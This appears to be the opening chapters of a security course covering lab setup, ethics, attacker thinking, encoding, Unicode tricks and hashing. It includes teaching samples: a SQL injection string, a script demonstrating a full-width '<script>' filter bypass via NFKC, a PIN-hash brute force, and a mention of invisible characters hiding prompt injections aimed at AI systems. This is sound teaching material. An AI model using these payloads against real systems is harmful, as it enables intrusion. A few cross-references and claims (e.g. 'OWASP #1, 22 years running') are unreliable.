What you will be able to do at the end

1. Explain the difference between encoding, hashing, and encryption — and never confuse them again.
2. Choose the right algorithm for a job in 2026, and say why the alternatives are wrong.
3. Use OpenSSL confidently: keys, certificates, signatures, encryption, debugging TLS.
4. Explain a TLS handshake packet by packet, and configure a server properly.
5. Run your own certificate authority and issue working certificates.
6. Harden SSH, and know exactly which settings matter.
7. Find and fix the OWASP Top 10 classes of web vulnerability in real code.
8. Explain post-quantum cryptography, why it matters now, and audit a system for readiness.
9. Think like an attacker: threat model a system and find where it breaks.

Contents

Part 0 — Start here (read this first)

• 0.1 Who this is for · 0.2 The learning flow · 0.3 The roadmap · 0.4 Build your lab · 0.5 The little bit of maths you need · 0.6 Ethics and the law · 0.7 How not to get stuck · 0.8 The series: OS → networking → security → HTTPS

Part 1 — Foundations

1. What "security" actually means
2. Thinking like an attacker
3. The vocabulary that trips everyone up
4. Our running example: the SecureShop application

Part 2 — Encoding: the thing that is not security 5. How text becomes bytes 6. Base64, hex, and URL encoding — and why none of them protect anything 7. Unicode, normalisation, and the bugs they cause

Part 3 — Hashing: fingerprints for data 8. What a hash function is 9. The real hash functions, and which ones are broken 10. Password storage is a completely different problem 11. HMAC: proving a message wasn't tampered with

Part 4 — Symmetric encryption 12. The idea, and what "perfect secrecy" costs 13. Block ciphers and AES 14. Modes of operation (and why ECB is a meme) 15. AEAD: encryption and authentication together 16. Hands-on: symmetric encryption with OpenSSL

Part 5 — Asymmetric (public-key) cryptography 17. The key distribution problem 18. Diffie–Hellman: agreeing a secret in public 19. RSA, from first principles 20. Elliptic curves: same security, smaller keys 21. Digital signatures 22. Hands-on: keys, signing, and verifying with OpenSSL

Part 6 — Post-quantum cryptography 23. Why a quantum computer breaks today's crypto 24. Harvest now, decrypt later 25. The NIST standards: ML-KEM, ML-DSA, SLH-DSA, HQC 26. Hybrid mode, and how to actually migrate

Part 7 — TLS and HTTPS 27. What TLS gives you (and what it doesn't) 28. The handshake, step by step 29. Certificates and the PKI 30. Trust in practice: CT, revocation, ACME 31. Configuring TLS properly 32. Project: run your own certificate authority

Part 8 — SSH 33. How SSH works 34. Keys, agents, and config 35. Hardening SSH 36. Tunnels and port forwarding

Part 9 — Network security 37. Attacks on the network 38. Firewalls and segmentation 39. VPNs: IPsec and WireGuard 40. DDoS and rate limiting

Part 10 — Web and HTTP security 41. How the web decides what to trust (origins, SOP, cookies, CORS) 42. Injection: when data becomes code 43. Cross-site scripting (XSS) 44. Request forgery: CSRF, SSRF, clickjacking 45. Broken access control 46. Authentication, sessions, and federated identity (JWT, OAuth, OIDC) 47. Supply chain and the code you didn't write 48. Hands-on: testing a web application

Part 11 — Operating securely 49. Secrets management 50. Logging, detection, and monitoring 51. Incident response 52. Threat modeling and secure design

Part 12 — Projects 53. Project 1: your own CA, plus mutual TLS 54. Project 2: harden a server end to end 55. Project 3: break and fix a vulnerable application 56. Project 4: a post-quantum readiness audit

Part 13 — Where to go next 57. Honest gaps, and a six-month plan 58. Specialisations, certifications, and staying current

Appendices

• A. Glossary (plain language)
• B. The OpenSSL cookbook
• C. Command cheat sheet
• D. What to use in 2026 (algorithm reference)
• E. Reading list and how the facts here were checked
• F. Answers to "Check yourself"

0.1 Who this guide is for

Assumed: you can open a terminal, run commands, and read code loosely (Python and shell). You know what a file, a process, and a web request are.

Not assumed: any cryptography, any maths beyond arithmetic, any security vocabulary. Every term is defined on first use.

0.2 The learning flow

Reading about security produces people who can talk about security. Doing the exercises produces people who can do it. Every chapter is built for this loop.

   +--------------------------------------------------------------------+
   |                                                                    |
   |  1. READ        2. EXPLAIN      3. DO IT        4. BREAK IT        |
   |  (15 min)       (5 min)         (20-40 min)     (10 min)           |
   |                                                                    |
   |  Read the  -->  Close the  -->  Run the    -->  Change something   |
   |  chapter        guide and       commands        so it FAILS, and   |
   |  once.          say it in       yourself.       watch how.         |
   |                 your own                                           |
   |                 words.              |                |             |
   |                      |              |                |             |
   |            can't? re-read           +-------+--------+             |
   |                                             |                      |
   |                                             v                      |
   |  5. CHECK: answer the questions from memory.                       |
   |  6. WRITE: one line in notes.md --                                 |
   |     "X protects against Y, and fails when Z."                      |
   |                                                                    |
   +--------------------------------------------------------------------+
                                  |
                                  v
                every ~6 chapters: ATTACK something you built

Why step 4 matters more here than in any other subject

In most engineering, you learn by making things work. In security you learn by making things fail. A TLS config you've never seen reject a bad certificate is a TLS config you don't understand. Every chapter has a "break it" exercise for exactly this reason.

The rules

1. Time-box confusion to 20 minutes. Note the question, mark it TODO, move on. Cryptography especially tends to click two chapters later.
2. Never skip the hands-on sections. Reading about AES-GCM teaches you nothing; encrypting a file and then corrupting one byte teaches you everything.
3. Type the commands. Do not copy-paste. Typos teach you the syntax.
4. Keep notes.md with: one-line summaries, every command that surprised you, and every error you hit plus its fix.
5. One pass, then depth. Get through the whole guide once before going deep.

0.3 The roadmap

Three routes. Same chapters.

Route A — "I want to understand security" (3 weeks, ~1 h/day)

Route B — "I need this for my job now" (6 weeks, ~1–2 h/day)

Weeks 1–3: Route A, doing every hands-on and break-it exercise. Week 4: Part 10 in depth + Project 3 (break and fix a vulnerable app). Week 5: Projects 1 and 2 (your own CA; harden a server). Week 6: Part 11 (operations) + Project 4 (PQC audit) + threat model your own production system.

Route C — "I want to be a security engineer" (12 weeks, ~2 h/day)

0.4 Build your lab (30 minutes)

You need somewhere you are allowed to attack. That is the whole point of a lab.

# Homebrew first: https://brew.sh
brew install openssl@3 nmap wireshark jq wget gnupg
brew install --cask docker
# macOS ships LibreSSL as `openssl`. You want real OpenSSL 3.x:
echo 'export PATH="/opt/homebrew/opt/openssl@3/bin:$PATH"' >> ~/.zshrc
exec zsh

sudo apt update
sudo apt install -y openssl nmap tcpdump wireshark curl jq gnupg \
                    build-essential python3-pip docker.io git
sudo usermod -aG docker $USER   # log out and back in

openssl version            # want OpenSSL 3.x  (NOT LibreSSL)
nmap --version
docker --version
python3 --version

docker run --rm -d -p 3000:3000 --name juice bkimminich/juice-shop
# open http://localhost:3000
# stop it later with:  docker stop juice

mkdir -p ~/sec-lab/{ca,keys,certs,scratch} && cd ~/sec-lab
echo "sec-lab" > notes.md

0.5 The little bit of maths you need

Four ideas. Nothing more. Each is re-explained where used.

Idea 1 — Bits, bytes, and "key size"

A bit is 0 or 1. A byte is 8 bits (values 0–255).

A 128-bit key is 128 bits of secret — 2^128 possible values, which is about 3.4 × 10^38. That number is the entire reason symmetric crypto works:

   2^128 = 340,282,366,920,938,463,463,374,607,431,768,211,456

   A machine trying 1,000,000,000,000 (10^12) keys per second
   would need about 10^19 years to try them all.
   The universe is about 1.4 x 10^10 years old.

Brute force is not a threat to a 128-bit key. Every real attack works around the key, not through it. Remember that; it reframes everything.

Idea 2 — XOR

Exclusive-or. The one operation you must know.

   0 XOR 0 = 0        Rule: output 1 when the inputs DIFFER.
   0 XOR 1 = 1
   1 XOR 0 = 1
   1 XOR 1 = 0

   The magic property:   (A XOR B) XOR B = A

   plaintext  0110 1001
   key        1010 1100   XOR
              ---------
   ciphertext 1100 0101

   ciphertext 1100 0101
   key        1010 1100   XOR
              ---------
   plaintext  0110 1001    <-- back to the original

XOR with a key encrypts; XOR with the same key decrypts. That's the core of every stream cipher.

Idea 3 — Modular arithmetic ("clock arithmetic")

   On a 12-hour clock:  9 + 5 = 2       because 14 mod 12 = 2

   "mod n" means: divide by n, keep the remainder.
      17 mod 5 = 2        100 mod 7 = 2        6 mod 6 = 0

Public-key crypto works in enormous clocks — numbers hundreds of digits long. That's the only reason it's hard to reverse.

Idea 4 — One-way functions

A function that's easy forwards and impractical backwards.

   EASY:   multiply 1,048,573 x 1,048,583  = 1,099,483,725,059
   HARD:   given 1,099,483,725,059, find the two factors

   With 300-digit numbers, "hard" means "no known method finishes
   before the sun burns out".

All of cryptography is built on one-way functions. Hashing is one-way. RSA relies on factoring being one-way. Diffie–Hellman relies on discrete logarithms being one-way.

That's genuinely all

If those four made sense, you can read every chapter here. Where deeper maths appears it's marked optional and you can skip it.

0.6 Ethics and the law — read this before Part 2

This is the only part of this guide with legal consequences.

   +----------------------------------------------------------------+
   |  ATTACK ONLY:                                                   |
   |    * systems you personally own                                 |
   |    * the lab you built in 0.4                                   |
   |    * deliberately vulnerable targets (Juice Shop, HackTheBox,   |
   |      TryHackMe, PortSwigger Academy, CTFs)                      |
   |    * systems you have WRITTEN permission to test                |
   |                                                                 |
   |  NEVER:                                                         |
   |    * scan, probe, or test a system you don't own                |
   |    * "just check if it's vulnerable" on a live site              |
   |    * test your employer's systems without written authorisation |
   |      from someone empowered to give it                           |
   +----------------------------------------------------------------+

Why this matters practically: unauthorised access is a criminal offence in most jurisdictions (the Computer Misuse Act in the UK, the CFAA in the US, and equivalents elsewhere). Good intentions are not a defence. Neither is "I didn't change anything." Port scanning a third party can itself be an offence in some places.

If you find a vulnerability by accident: stop, don't dig further, and report it through the organisation's security contact (look for /.well-known/security.txt or a bug-bounty page). Document what you did, exactly.

At work: get authorisation in writing, with scope and dates, before you test anything. Every professional does this. It protects you as much as them.

0.7 How not to get stuck

Honesty markers used in this guide

Simplified: the real story has more detail; here's the direction it goes.

Debated: practitioners genuinely disagree; here are the positions.

Dangerous: a common practice that looks fine and is not.

Facts, standards, and version numbers were checked against primary sources — see Appendix E.

0.8 The series: OS → networking → security → HTTPS

This guide is one of seven, designed to be read as one course in this order:

   1  OS & Linux  ──▶  2  Networking  ──▶  3  Security  ──▶  4  HTTPS walkthrough
                         2a OSI map          3a From Zero        (one request through
                         2b TCP/IP           3b In Depth          every guide, in Go)
   ════════════════════  Go, alongside every step  ════════════════════

Why this order. Every network connection is a file descriptor owned by a process, so the OS comes first. Networking comes next, because every attack and defence in the security guides assumes you can follow a packet. Security comes third, because it needs both. The HTTPS walkthrough comes last because a single HTTPS request uses all of it, and its final chapter runs one request through every guide in a Go program. Go runs alongside the whole way: each guide's "Build it in Go" labs turn its chapters into code you can run.

Reading paths by role:

• Backend engineer: 1 (Phases 1–2, Part 20) → 2a → 2b (Parts 1–7) → 3a (Parts 1–6) → 4 (all, including Part 9) → 3b (Parts 5–6).
• SRE / platform: 1 (all) → 2a → 2b (all) → 3b (Parts 2–4, 8) → 4 (Parts 8–10).
• Security engineer: 1 (Phases 1, 3) → 2a → 2b (Parts 3–8) → 3a → 3b → 4 (Chapters 12, 19–22, 25).
• Engineering manager: 2a → 1 (Chapters 1–3, 44, 66, 72) → 3b (Part 9) → 4 (Chapters 13, 18, 23, 25).

Chapters link to each other directly, with "Across the series" notes where another guide covers a topic in more depth.

Chapter 1 — What "security" actually means

The three properties (the CIA triad)

Almost every security requirement is one of these three:

   +-------------------+---------------------------------------------+
   | CONFIDENTIALITY   | Only the right people can READ it.           |
   |                   | Broken by: data breach, eavesdropping,       |
   |                   |            a misconfigured S3 bucket         |
   +-------------------+---------------------------------------------+
   | INTEGRITY         | Only the right people can CHANGE it, and    |
   |                   | you can TELL if it changed.                  |
   |                   | Broken by: tampering, a corrupted update,    |
   |                   |            a modified bank transfer           |
   +-------------------+---------------------------------------------+
   | AVAILABILITY      | The right people can actually USE it.        |
   |                   | Broken by: DDoS, ransomware, a deleted        |
   |                   |            database, an expired certificate   |
   +-------------------+---------------------------------------------+

Two more that matter in practice:

• Authenticity — the message really came from who it claims. (Often folded into integrity.)
• Non-repudiation — the sender can't later deny sending it. This is what digital signatures give you and MACs do not (Chapter 21).

The trade-off nobody tells beginners

Security always costs something, and usually it costs availability or usability.

   Perfect confidentiality:  turn the server off. Nobody can read it.
   Perfect availability:     no authentication. Everybody gets in.

   Every real system sits somewhere between, deliberately.

Examples you'll recognise:

• Requiring MFA reduces account takeover and locks out users who lose their phone.
• Short session timeouts reduce stolen-session risk and annoy everyone.
• Rate limiting stops brute force and breaks a legitimate bulk import.

A security engineer's actual job is choosing these trade-offs deliberately, not maximising one axis.

Defence in depth

No single control works. Assume each one fails and ask "what's next?"

   An attacker wants your customer database.

   Layer 1  network:      firewall blocks direct DB access from the internet
   Layer 2  application:  parameterised queries prevent SQL injection
   Layer 3  authn:        the app authenticates to the DB with a scoped account
   Layer 4  authz:        that account can read orders, not payment details
   Layer 5  data:         card numbers are encrypted at rest with a KMS key
   Layer 6  detection:    unusual query volume raises an alert
   Layer 7  response:     credentials rotate automatically on alert

   The attacker must beat ALL of them. You must not lose ALL of them.

This is why "we have a firewall" is not a security posture.

Chapter 2 — Thinking like an attacker

   DEVELOPER: "The user enters their email and we send a reset link."

   ATTACKER:  What if the email is 10 MB long?
              What if it's someone else's email?
              What if it contains SQL? Or a script tag? Or a newline
                that injects an extra SMTP header?
              What if I request 10,000 resets a second?
              Is the reset token random? How long is it valid?
              Can I use it twice? Does it work after a password change?
              What does the response tell me about whether the account exists?
              Is the link sent over HTTPS? Does it leak in the Referer header?

Attack surface

Everything an attacker can reach and interact with.

   Your application's attack surface includes:

   ENTRY POINTS       every URL, API endpoint, form field, header, cookie,
                      file upload, webhook, queue message, CLI argument,
                      environment variable, config file
   DEPENDENCIES       every library, container image, base OS package,
                      CI/CD action, browser extension in your pipeline
   INFRASTRUCTURE     open ports, cloud metadata endpoints, admin panels,
                      backup buckets, DNS records, forgotten subdomains
   PEOPLE             support staff who can reset passwords, anyone who
                      can be phished, contractors, ex-employees
   PHYSICAL           laptops, USB ports, the office door

Reducing attack surface is the cheapest security work available. A deleted endpoint has no vulnerabilities. An uninstalled package can't be exploited.

Trust boundaries

The single most useful concept in this chapter. A trust boundary is any point where data crosses from a place you control to one you don't (or vice versa).

   INTERNET  --------->|  your load balancer   ------> your app -----> your DB
             boundary 1|              boundary 2|            boundary 3|

   At EVERY boundary you must ask:
      * Do I know who this is?           (authentication)
      * Are they allowed to do this?     (authorization)
      * Is this data shaped as expected?  (validation)
      * What happens if it's hostile?    (the actual question)

Validation happens at boundaries. The classic mistake is validating in the browser (inside the attacker's control) and trusting it on the server.

Rule to memorise: anything that crosses a trust boundary toward you is untrusted, no matter who sent it. Including your own frontend. Including another microservice. Including a "trusted" partner's webhook.

The attacker's process

Real attacks follow a predictable shape (this is the "kill chain"):

   1. RECON        find out what exists: subdomains, ports, versions,
                   employees on LinkedIn, leaked credentials
   2. INITIAL      get a foothold: phishing, an exposed service,
      ACCESS       a known CVE, stolen credentials
   3. EXECUTION    run code
   4. PERSISTENCE  survive a reboot or a password change
   5. PRIVILEGE    become root / admin / a service account
      ESCALATION
   6. LATERAL      move to more valuable systems
      MOVEMENT
   7. COLLECTION   find and stage the data
   8. EXFILTRATION get it out
   9. IMPACT       ransomware, destruction, fraud

Defensive value: you can break the chain at any link. Most organisations obsess over step 2 and ignore 4–8, which is where they'd actually detect a real intrusion. This model is formalised in MITRE ATT&CK (Chapter 49) — a free, extremely detailed catalogue of real techniques.

docker start juice 2>/dev/null || docker run --rm -d -p 3000:3000 --name juice bkimminich/juice-shop
sleep 15

# What's listening?
nmap -sV -p 3000 localhost

# What does the app tell us about itself?
curl -sI http://localhost:3000 | head -20
curl -s http://localhost:3000 | grep -oE 'src="[^"]+"' | head -20

Chapter 3 — The vocabulary that trips everyone up

Encoding vs Encryption vs Hashing

This is the single most important distinction in the guide. Part 2 and Part 3 exist to hammer it home.

   +-----------+------------------+-------------+---------------------------+
   |           | PURPOSE          | REVERSIBLE? | NEEDS A KEY?              |
   +-----------+------------------+-------------+---------------------------+
   | ENCODING  | make data safe   | YES, by     | NO -- anyone can reverse  |
   |           | to transport     | anyone      | it. NOT SECURITY.         |
   |           | (Base64, hex)    |             |                           |
   +-----------+------------------+-------------+---------------------------+
   | ENCRYPTION| keep data secret | YES, with   | YES                       |
   |           | (AES, RSA)       | the key     |                           |
   +-----------+------------------+-------------+---------------------------+
   | HASHING   | fingerprint data | NO, ever    | NO (or optional, for HMAC)|
   |           | (SHA-256)        |             |                           |
   +-----------+------------------+-------------+---------------------------+

Dangerous: "We Base64 the password before storing it" is a sentence that appears in real production code. Base64 is not security. It is a costume.

Authentication vs Authorization

   AUTHENTICATION (authn)  "Who are you?"        -> proving identity
                           password, key, MFA, certificate

   AUTHORIZATION  (authz)  "What may you do?"   -> checking permission
                           roles, ACLs, policies, ownership checks

You are authenticated once; you are authorized on every single action. The most common serious web bug (OWASP #1, 22 years running) is doing the first and forgetting the second.

   GET /api/orders/12345      <-- authenticated: yes, it's Alice
                                  authorized:    is order 12345 ALICE'S?
                                                  ^^^ this check is what's missing

Threat vs Vulnerability vs Risk vs Exploit

   THREAT          something bad that could happen, and who'd do it
                   "a criminal group steals our customer data"

   VULNERABILITY   a weakness that would let it happen
                   "our search endpoint is vulnerable to SQL injection"

   EXPLOIT         the actual technique/code that abuses the vulnerability
                   "' OR 1=1 --"

   RISK            likelihood x impact -- what you actually prioritise on
                   "high: trivially exploitable, 2M records, GDPR fines"

You fix vulnerabilities, you defend against threats, you prioritise by risk. A vulnerability with no plausible threat is low risk; ignore it until the ones that matter are done.

Some others worth pinning down

The fail-open/fail-closed decision

This one catches people out, so it's worth pausing on:

   Your authorization service times out. What does the app do?

   FAIL CLOSED:  deny the request.
                 -> Safe. But if the service is flaky, your app is down.

   FAIL OPEN:    allow the request.
                 -> Available. But a DoS on your auth service becomes
                    a total authorization bypass.

   For AUTHORIZATION: fail closed, always.
   For a RECOMMENDATION ENGINE: fail open; show no recommendations.

Decide this explicitly for every dependency. The default in most code is "whatever the exception handler happens to do", which is how outages become breaches.

Chapter 4 — Our running example: SecureShop

To keep this concrete, we'll secure the same system throughout the guide. Every Part adds a layer.

The system

                      +-------------------------------------------+
   customers  ------> |  shop.securesh.op        (web + API)       |
                      |    - browse products                       |
                      |    - log in / register                      |
                      |    - place orders, save card details        |
                      +---------------+---------------------------+
                                      |
                      +---------------v---------------------------+
                      |  orders-api    (internal service)          |
                      +---------------+---------------------------+
                                      |
                      +---------------v---------------------------+
                      |  PostgreSQL: users, orders, payment tokens |
                      +--------------------------------------------+

   staff -----> admin.securesh.op  (admin panel, SSH to the servers)

What we have to protect

How each Part contributes

Chapter 5 — How text becomes bytes

ASCII: the original 128

   char  decimal  hex   binary
   ----  -------  ---   --------
   'A'      65    0x41  01000001
   'B'      66    0x42  01000010
   'a'      97    0x61  01100001
   '0'      48    0x30  00110000
   ' '      32    0x20  00100000
   '\n'     10    0x0A  00001010

Notice '0' is 48, not 0. The character zero and the number zero are different things — a distinction behind many parsing bugs.

ASCII uses 7 bits, so 128 characters. Enough for American English. Not enough for the world.

UTF-8: how the world actually encodes text

UTF-8 represents over a million characters using 1 to 4 bytes each, and — the crucial design win — ASCII text is byte-identical in UTF-8.

   'A'    -> 41                     1 byte   (identical to ASCII)
   'e'    -> 65                     1 byte
   'é'    -> C3 A9                  2 bytes
   '€'    -> E2 82 AC               3 bytes
   emoji  -> F0 9F 98 80            4 bytes

Two consequences that cause security bugs:

1. Character count ≠ byte count. A "10-character" username can be 40 bytes. Length limits that count one and buffers that hold the other is a classic overflow.
2. Invalid byte sequences exist. Not every byte string is valid UTF-8. Different parsers handle invalid sequences differently — one may reject, one may substitute, one may silently drop bytes. Two parsers disagreeing about the same input is the root of an entire attack class (Chapter 7).

# see the bytes behind text
printf 'Hello' | xxd
printf 'Héllo' | xxd          # note the two bytes for é
printf '€' | xxd

# character count vs byte count
python3 -c "s='Héllo€'; print('chars:', len(s), ' bytes:', len(s.encode()))"

# what happens with invalid UTF-8?
printf '\xc3\x28' | python3 -c "import sys; print(sys.stdin.buffer.read().decode('utf-8', errors='replace'))"

Chapter 6 — Base64, hex, and URL encoding: none of them protect anything

   Email (historically) was 7-bit ASCII only. A JPEG has bytes > 127.
   A URL can't contain a raw space, '&', or '#' -- they mean something.
   JSON can't hold arbitrary binary in a string.
   A terminal will beep, clear, or misbehave on control bytes.

Base64

Takes 3 bytes (24 bits) and re-expresses them as 4 characters (6 bits each) from a 64-character alphabet: A–Z a–z 0–9 + /, padding with =.

   Input:  M         a         n
   ASCII:  77        97        110
   Binary: 01001101  01100001  01101110
           |------|--|----|----|--|------|
   6-bit:  010011   010110   000101   101110
   Value:  19       22       5        46
   Base64: T        W        F        u

   "Man" -> "TWFu"

Padding handles inputs that aren't a multiple of 3:

   "Man"  (3 bytes) -> "TWFu"      no padding
   "Ma"   (2 bytes) -> "TWE="      one '='
   "M"    (1 byte)  -> "TQ=="      two '='

Base64 makes data ~33% bigger (4 characters for every 3 bytes). That's the price of the safe alphabet.

Variants you'll meet:

Using the wrong variant is a very common bug — a + in a URL is decoded as a space, silently corrupting the data.

Hexadecimal

Each byte becomes exactly two characters 0-9 a-f. Doubles the size, but is trivially readable and has no variants to get wrong.

   "Hello"  ->  48 65 6c 6c 6f

Used for hashes, keys, MAC addresses, and anywhere humans read raw bytes.

URL encoding (percent-encoding)

Unsafe characters become % plus two hex digits.

   space  -> %20    (or '+' in a query string, confusingly)
   /      -> %2F
   ?      -> %3F
   &      -> %26
   #      -> %23
   %      -> %25    <-- encoding the encoder

Double-encoding is a real attack. %252F decodes once to %2F and twice to /. If one component in a chain decodes and another decodes again, an attacker can smuggle a path separator past a filter. We'll use this in Chapter 45.

The thing to internalise

   +----------------------------------------------------------------+
   |  ENCODING IS NOT ENCRYPTION.                                    |
   |                                                                 |
   |  There is no key. There is no secret. There is no protection.    |
   |  Anyone with the encoded data can recover the original in        |
   |  microseconds, with a command that ships on every computer.      |
   |                                                                 |
   |  Base64 is an envelope, not a safe.                              |
   +----------------------------------------------------------------+

   { "user": "alice", "password": "aHVudGVyMg==" }

echo 'aHVudGVyMg==' | base64 -d      # hunter2

# The payload of any JWT is readable by anyone. Try one:
echo 'eyJzdWIiOiIxMjM0NSIsInJvbGUiOiJhZG1pbiJ9' | base64 -d
# {"sub":"12345","role":"admin"}

cd ~/sec-lab/scratch

# --- Base64 both ways ---
printf 'Hello world' | base64                 # SGVsbG8gd29ybGQ=
echo 'SGVsbG8gd29ybGQ=' | base64 -d           # Hello world

# --- watch padding appear ---
for s in M Ma Man Many; do printf "%-5s -> " "$s"; printf "%s" "$s" | base64; done

# --- hex ---
printf 'Hello' | xxd -p                        # 48656c6c6f
echo '48656c6c6f' | xxd -r -p                  # Hello

# --- URL encoding ---
python3 -c "import urllib.parse as u; print(u.quote('hello world/&?'))"
python3 -c "import urllib.parse as u; print(u.unquote('%68%65%6C%6C%6F'))"

# --- double encoding ---
python3 -c "import urllib.parse as u; print(u.unquote('%252F'), '->', u.unquote(u.unquote('%252F')))"

# --- decode a real JWT payload ---
JWT='eyJhbGciOiJIUzI1NiJ9.eyJ1c2VyIjoiYWxpY2UiLCJyb2xlIjoiYWRtaW4ifQ.fakesig'
echo "$JWT" | cut -d. -f2 | tr '_-' '/+' | base64 -d 2>/dev/null; echo

Chapter 7 — Unicode, normalisation, and the bugs they cause

   'é' can be encoded TWO ways in Unicode:

     U+00E9              LATIN SMALL LETTER E WITH ACUTE   -> C3 A9
     U+0065 U+0301       'e' + COMBINING ACUTE ACCENT      -> 65 CC 81

   They render identically. They are different bytes.
   A byte comparison says they are different. A human says they are the same.

Why an attacker cares

Attack 1 — Account confusion. If registration normalises but login doesn't (or vice versa), you can register a "different" account that logs in as an existing one, or vice versa.

Attack 2 — Filter bypass through NFKC. This is the sharp one:

   A filter blocks the string "<script>".

   An attacker sends:   ＜script＞      (full-width characters, U+FF1C/U+FF1E)

   The filter compares bytes -> no match -> ALLOWED.
   Later, some component normalises with NFKC:
        ＜  ->  <
        ＞  ->  >
   The output is now  <script>  in the page.

The rule that prevents this: normalise before you validate, never after.

Attack 3 — Homoglyphs. Different characters that look the same:

   'a'  U+0061  Latin small letter A
   'а'  U+0430  CYRILLIC small letter A     <-- visually identical

   раypal.com   is not   paypal.com

This is the basis of IDN homograph phishing. Browsers defend by showing punycode (xn--...) when a domain mixes scripts suspiciously.

Attack 4 — Invisible characters. Zero-width spaces (U+200B), bidirectional overrides (U+202E), and Unicode "tag" characters (U+E0000 block) are invisible in most renderings but present in the bytes. Uses:

• Bypassing keyword filters
• "Trojan Source" — bidi overrides make source code display differently from how it compiles, hiding a backdoor in plain sight during code review
• Hiding prompt-injection instructions in text an AI system reads

The defensive rules

   1. NORMALISE ON INPUT, at the trust boundary. NFC for general text.
   2. Normalise BEFORE validating, not after.
   3. Strip invisible/control characters explicitly. Don't hope.
   4. For usernames and identifiers: restrict to an ALLOWLIST of characters
      (e.g. a-z 0-9 . _ -) rather than trying to block bad ones.
   5. Compare identifiers case-folded AND normalised, consistently, everywhere.
   6. Set explicit encodings: Content-Type with charset, database column
      collation, and your language's string handling.

Rule 4 is worth emphasising: allowlists beat blocklists, always. You can enumerate what's permitted; you cannot enumerate what's malicious.

cd ~/sec-lab/scratch

python3 - <<'PY'
import unicodedata as ud

# 1. Two 'identical' strings
a = "café"                      # composed
b = "café"                # decomposed
print("look the same? ", a, b)
print("equal bytes?   ", a == b)
print("after NFC?     ", ud.normalize("NFC", a) == ud.normalize("NFC", b))
print("byte lengths:  ", len(a.encode()), len(b.encode()))

# 2. NFKC bypass -- the dangerous one
attack = "＜script＞"    # full-width < and >
print("\nfilter sees:   ", repr(attack), " blocked? ", "<script>" in attack)
print("after NFKC:    ", repr(ud.normalize("NFKC", attack)),
      " now dangerous? ", "<script>" in ud.normalize("NFKC", attack))

# 3. Homoglyphs
print("\npaypal (latin):  ", "paypal.com".encode())
print("paypal (cyrillic a):", "pаypal.com".encode())
print("equal? ", "paypal.com" == "pаypal.com")

# 4. Invisible characters
sneaky = "admin​"           # trailing zero-width space
print("\nlooks like 'admin'? ", sneaky)
print("is 'admin'?         ", sneaky == "admin")
print("stripped:           ", "".join(c for c in sneaky if ud.category(c)[0] != "C"))
PY

Chapter 8 — What a hash function is

   ANY input, any size                     Fixed-size output
   ------------------                      -----------------
   "hello"                    -->  SHA-256  -->  2cf24dba5fb0a30e26e83b2ac5b9e29e
                                                 1b161e5c1fa7425e73043362938b9824
   a 4 GB video file          -->  SHA-256  -->  (a different 64 hex characters)
   the empty string           -->  SHA-256  -->  e3b0c44298fc1c149afbf4c8996fb924
                                                 27ae41e4649b934ca495991b7852b855

The properties that make it useful

A cryptographic hash function must have all four:

   1. DETERMINISTIC        same input -> always the same output
                           (otherwise it's useless for comparison)

   2. ONE-WAY              given the hash, you cannot find the input
      (preimage resistance) except by guessing

   3. AVALANCHE            change ONE BIT of input -> ~half the output bits flip
                           (so similar inputs look completely unrelated)

   4. COLLISION RESISTANT  it's infeasible to find TWO inputs with the
                           same output

Seeing the avalanche effect

   sha256("hello")   = 2cf24dba5fb0a30e26e83b2ac5b9e29e1b161e5c1fa7425e73043362938b9824
   sha256("hello ")  = 5e3235a8346e5a4585f8c58562f5052b8fe26a3bb122e1e96c76784964dfc461
                       ^^ one added space -- completely different output
   sha256("Hello")   = 185f8db32271fe25f561a6fc938b2e264306ec304eda518007d1764826381969
                       ^^ one changed bit (case) -- completely different

This is why hashes detect tampering. Any change, however small, produces an unrecognisably different result.

Collisions must exist (and why that's OK)

Infinite possible inputs, finite outputs (2^256 for SHA-256). So collisions mathematically must exist. The security property is that finding one is infeasible.

The birthday paradox: because of how probability works, finding any collision takes about 2^(n/2) work, not 2^n. So SHA-256's 256-bit output gives 128 bits of collision resistance, not 256. This is why "128-bit security" is the target and why SHA-256 (not SHA-128) is the baseline.

What hashes are for

What hashes are NOT for

   NOT encryption      -- there's no key and no way back. You can't "decrypt a hash".
   NOT for passwords   -- not plain, anyway. Chapter 10.
   NOT for secrecy of  -- if the input space is small (a credit card number,
   low-entropy data       a phone number, a UK postcode), an attacker just
                          hashes every possibility and looks yours up.

That last one catches people. Hashing an email address does not anonymise it — there are only so many email addresses, and attackers have precomputed them.

cd ~/sec-lab/scratch

# --- basic hashing ---
printf 'hello' | openssl dgst -sha256
printf 'hello' | shasum -a 256          # same thing, different tool

# --- avalanche: change one character ---
for s in "hello" "hellp" "Hello" "hello "; do
  printf "%-8s " "$s"; printf "%s" "$s" | openssl dgst -sha256 | awk '{print $2}'
done

# --- deterministic: run it 3 times ---
for i in 1 2 3; do printf 'hello' | openssl dgst -sha256 -r; done

# --- fixed size regardless of input ---
printf 'a' | openssl dgst -sha256 | awk '{print length($2), $2}'
head -c 10000000 /dev/urandom | openssl dgst -sha256 | awk '{print length($2), $2}'

# --- verifying a download (do this for real, always) ---
echo "important data" > file.txt
openssl dgst -sha256 file.txt > file.txt.sha256
cat file.txt.sha256
# now tamper with it:
echo "important data " > file.txt        # added ONE space
openssl dgst -sha256 file.txt            # compare -- completely different

python3 - <<'PY'
import hashlib
target = hashlib.sha256(b"4271").hexdigest()
print("hash:", target)
for i in range(10000):
    if hashlib.sha256(f"{i:04d}".encode()).hexdigest() == target:
        print("cracked:", f"{i:04d}"); break
PY

Chapter 9 — The real hash functions, and which are broken

The table to memorise

What "broken" actually means

The distinction matters, because "MD5 is broken" is often over- and under-stated.

   COLLISION ATTACK  -- find ANY two inputs with the same hash.
      MD5:   seconds on a laptop
      SHA-1: ~2^63 work; done for real in 2017 (SHAttered)
      -> breaks SIGNATURES and CERTIFICATES

   CHOSEN-PREFIX COLLISION -- find a collision where you control both prefixes.
      MD5:   trivial
      SHA-1: demonstrated in 2020, ~$45k of compute at the time
      -> breaks practically everything; this is what killed SHA-1 for good

   PREIMAGE ATTACK -- given a hash, find AN input producing it.
      MD5:   still not practical
      SHA-1: still not practical
      -> so "MD5 of a strong random value" isn't instantly broken...
         but there is no reason to use it, and plenty of ways it bites you

Bottom line: MD5 and SHA-1 fail exactly where hashes matter most — proving that a document, certificate, or binary is the one you think it is.

The real-world consequences

Flame malware (2012) forged a Microsoft code-signing certificate using an MD5 chosen-prefix collision. It let malware appear to be a legitimate Windows Update. That is the practical meaning of "collisions break signatures".

